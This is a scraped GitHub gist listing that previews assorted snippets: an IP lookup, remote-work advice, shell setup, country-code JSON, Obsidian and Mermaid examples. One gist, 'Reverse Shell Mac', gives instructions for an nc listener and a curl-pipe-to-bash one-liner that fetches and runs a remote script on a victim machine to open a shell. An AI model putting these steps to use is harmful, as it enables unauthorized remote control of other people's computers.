Skip to content

Instantly share code, notes, and snippets.

View gofullthrottle's full-sized avatar
💭
gittin it

John Freier gofullthrottle

💭
gittin it
View GitHub Profile
@NapoleonWils0n
NapoleonWils0n / ipaddress_wan.sh
Created November 11, 2012 22:37
macosx: get wan ip address
#!/bin/sh
#----------------------------------------------------------------------------------------#
# Get remote ipv4 address #
#----------------------------------------------------------------------------------------#
curl -s "http://v4.ipv6-test.com/api/myip.php"
@Moishe
Moishe / remote.md
Created July 11, 2018 01:53
Remote work thoughts

Some random thoughts about making remote employees successful

  • have an advocate, ideally at the VP or C-Level, who is personally invested in making remote work. When I started at Etsy, I remember Kellan asking me directly "what can I do to make working remote better?" and Marc repeatedly checking in with me about remote qua remote. This has the obvious benefit of people who have power to make changes knowing about what changes to make and pushing things in a remote-friendly direction, but IME it also has an incredible effect on the morale of remotes. Remote morale is even more subject to perturbation than onsite morale, so this matters.

  • Avi Bryant said something once that really resonated: try to hire extroverts as remotes. I'm an introvert AND I'm shy and lots of the things I struggle with as a remote are, I think, tied up with that. My default action is not to reach out to people; it's a thing I have to nudge myself to do every time I need to do it, and minor barriers can grow in my head.

@sshmaxime
sshmaxime / reverse-shell.sh
Last active October 1, 2020 17:40 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/JJeRK | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@bgoonz
bgoonz / README.md
Created May 25, 2021 16:52
github-cloner

GithubCloner

A script that clones Github repositories of users and organizations.

Usage

Description Command

Oh my zsh.

Install with curl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Enabling Plugins (zsh-autosuggestions & zsh-syntax-highlighting)

  • Download zsh-autosuggestions by
@kcak11
kcak11 / App.md
Last active November 30, 2023 18:24
Country Codes

Country Codes

List of all Country Codes (ISO & Dialing) sorted in alphabetical order.

@xRyul
xRyul / gist:c127482641144bb0263060cb729ca1be
Created February 22, 2024 21:30
Automated Mermaid Graph from Backlinks N levels deep - ObsidianMD
```dataviewjs
// If too many connections are found, mermaid wont render them.
// Thus, we have to limit either how deep we go via "var specifiedDepth = X;"
// Or, we can reduce amount of links shown "maxLinks = X"
var inlinks = [...new Set(dv.current().file.inlinks.map(link => link.path.split('/').pop().replace('.md', '')))];
var outlinks = [...new Set(dv.current().file.outlinks.map(link => link.path.split('/').pop().replace('.md', '')))];
var graph = [];
var classList = [];
var nodeNames = {};
@pandafulmanda
pandafulmanda / Python3 Virtualenv Setup.md
Last active March 12, 2024 15:59 — forked from akszydelko/Python3 Virtualenv Setup.md
Setting up and using Python3 Virtualenv on Mac

Python3 Virtualenv Setup

Requirements
  • Python 3
  • Pip 3
$ brew install python3
@Goles
Goles / CountryCodes.json
Created July 29, 2012 05:37
Country and Dial or Phone codes in JSON format
[{"name":"Israel","dial_code":"+972","code":"IL"},{"name":"Afghanistan","dial_code":"+93","code":"AF"},{"name":"Albania","dial_code":"+355","code":"AL"},{"name":"Algeria","dial_code":"+213","code":"DZ"},{"name":"AmericanSamoa","dial_code":"+1 684","code":"AS"},{"name":"Andorra","dial_code":"+376","code":"AD"},{"name":"Angola","dial_code":"+244","code":"AO"},{"name":"Anguilla","dial_code":"+1 264","code":"AI"},{"name":"Antigua and Barbuda","dial_code":"+1268","code":"AG"},{"name":"Argentina","dial_code":"+54","code":"AR"},{"name":"Armenia","dial_code":"+374","code":"AM"},{"name":"Aruba","dial_code":"+297","code":"AW"},{"name":"Australia","dial_code":"+61","code":"AU"},{"name":"Austria","dial_code":"+43","code":"AT"},{"name":"Azerbaijan","dial_code":"+994","code":"AZ"},{"name":"Bahamas","dial_code":"+1 242","code":"BS"},{"name":"Bahrain","dial_code":"+973","code":"BH"},{"name":"Bangladesh","dial_code":"+880","code":"BD"},{"name":"Barbados","dial_code":"+1 246","code":"BB"},{"name":"Belarus","dial_code":"+375","
@ChristopherA
ChristopherA / Mermaid_on_Github_Examples.md
Last active April 12, 2024 14:32
Mermaid on Github Examples

Mermaid on Github Examples

All of these diagrams are dynamically rendered during html display by Github, the images generated from text inside the Github-Flavored Markdown. None are static images. Mermaid support was released for Github on 2022-02-14

Pros & Cons:

  • Pro: You don't need to care about the layout.
  • Con: You cannot control the layout.

Notes:

  • Not all the features of Mermaid (in particular symbols B--&gt;C[fa:fa-ban forbidden], hyperlink and tooltips) are supported by Github.